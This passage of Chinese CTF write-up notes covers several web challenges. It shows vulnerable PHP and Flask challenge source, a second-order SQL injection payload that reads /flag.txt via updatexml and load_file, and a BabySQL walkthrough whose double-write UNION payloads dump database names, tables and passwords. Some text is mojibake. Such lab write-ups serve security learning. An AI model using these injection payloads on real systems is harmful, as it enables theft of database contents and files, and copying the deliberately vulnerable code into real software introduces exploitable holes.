if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
} else {
$msg = "æªæ¾å°è®¢å!";
}
}else {
$msg = "ä¿¡æ¯ä¸å
¨";
}
?>
分析代码,对username和phone进行了严格的过滤,但change.php中只是用了addslashes对address进行了转义,但是可以发现修改前的旧地址会被保存下来,在更新地址的时候,旧地址可以触发sql语句,存在二次注入
payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):#python的构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):#定义命令执行的函数
result = {}
result['code'] = 500
if (self.checkSign()):#检查sign值是否等于hashlib.md5(secert_key + param + action).hexdigest()
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)#调用scan自定义函数读取flag.txt
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp#输出flag.txt
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#检查action值中是否含read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"#没有返回Action Error
else:
result['code'] = 500
result['msg'] = "Sign Error"#不等于返回Sign Error
return result
def checkSign(self):#校验函数
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#这个路由用来读取Sign的值
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])#最终注入点
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')#根目录路由,显示源码
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]#读取flag
except:
return "Connection Timeout"
def getSign(action, param):#返回值要等与sign
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):#没什么用的waf
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
[极客大挑战 2019]BabySQL
进入为一个登录框,输入单引号报错
order by查看字段数,发现被过滤了一部分,判断使用str_replace进行了过滤,可进行双写进行绕过
admin'oorrder bbyy 3--+
最后判断为有三个字段
接着进行爆库
同样进行了过滤,我们依旧双写绕过
可控字段为2,3,接下来爆库名,可以看到数据库为geek
爆表名,得到两个表名,b4bsql,geekuser
?username=1'uunionnion selselectect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()--+
接着爆字段
?username=1'uunionnion selselectect 1,database(),group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+
接着爆值,得到flag
?username=1'uunionnion selselectect 1,database(),group_concat(passwoorrd,0x7e,username) frfromom b4bsql%23